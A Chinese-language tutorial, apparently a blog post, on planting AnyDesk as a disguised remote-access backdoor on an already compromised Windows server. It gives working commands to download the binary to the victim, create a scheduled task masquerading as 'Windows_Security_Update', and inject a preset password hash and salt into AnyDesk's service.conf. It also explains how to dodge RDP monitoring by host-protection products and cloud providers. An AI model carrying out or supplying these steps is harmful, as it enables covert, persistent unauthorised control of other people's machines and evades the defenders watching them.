使用anydesk做远控

前言

  AnyDesk是类似teamviewer的远程桌面管理软件,但是它不用安装,而且体积比较小只有3.7MB

使用场景举例

  1.有云锁,护卫神等禁止3389登录时
  2.类似阿里云这种,登录3389会报警
  3.连接内网中可以出网的windows机器

注意事项

  1.启动AnyDesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般般都是没有桌面用户权限的,如果启动AnyDesk不会成功
  2.启动AnyDesk时桌面不能被注销
  3.有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动AnyDesk,否则没法使用屏幕

使用

  假设你已经拿到了对方的shell,并且是高权限
  

下载anydesk

  命令行下,下载到对方c:\anydesk.exe,不推荐,实测,下载速度非常慢。建议下载到本地,使用shell自带的上传功能。

powershell (new-object System.Net.WebClient).DownloadFile('https://download.anydesk.com/AnyDesk.exe?_ga=2.215504087.1111133079.1614086491-1698509199.1614086491','C:\anydesk.exe')

  

查询在线用户

  使用quser,可确定有当前哪些用户正在使用桌面
  

创建计划任务

  启动的用户为上个步骤查询出的用户

schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\AnyDesk.exe" /RU lion

  

执行计划任务

  先执行一次计划任务,生成配置文件

schtasks /run /tn Windows_Security_Update

  

添加密码

  然后等待几秒,等AnyDesk成功连接到网络,再把AnyDesk进程杀掉,dir看用户下面是否生成配置文件

cd C:\Users\用户名\AppData\Roaming\AnyDesk
dir /a

  
  然后往service.conf里面添加密码为AnyDeskGetAccess

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> service.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> service.conf

  

查看anydeskID

type system.conf

  

连接anydesk

schtasks /run /tn Windows_Security_Update

  输入刚才的id
  
  连接密码为AnyDeskGetAccess,即可连接成功 
  

查看评论 -
评论